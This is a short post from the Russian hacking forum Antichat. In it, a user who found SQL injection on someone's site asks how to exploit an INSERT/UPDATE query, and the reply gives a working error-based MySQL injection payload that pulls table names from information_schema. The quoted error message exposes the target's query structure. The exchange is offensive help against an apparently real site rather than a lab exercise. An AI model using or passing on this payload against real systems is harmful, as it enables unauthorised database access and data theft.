ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от \/ITA

спасибо за подсказку
нашел скулю в POST на одном сайте подставил
site.ru?id=1"
выдает мне такое:

Код:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?id=1""' at line 3 SQL query : 
            INSERT INTO
                ips(ip, cnt, last_url)
           VALUES("***.93.28.***", 1,"/?id=1"")
                ON DUPLICATE KEY UPDATE cnt=cnt+1, last_url="/?id=1""

я еще не пробовал инжектить в Insert или Update
где можно почитать посмотреть как это делается?

,(select+1+from(select+count(*),concat((select+tab le_name+from+information_schema.tables+limit+0,1), floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)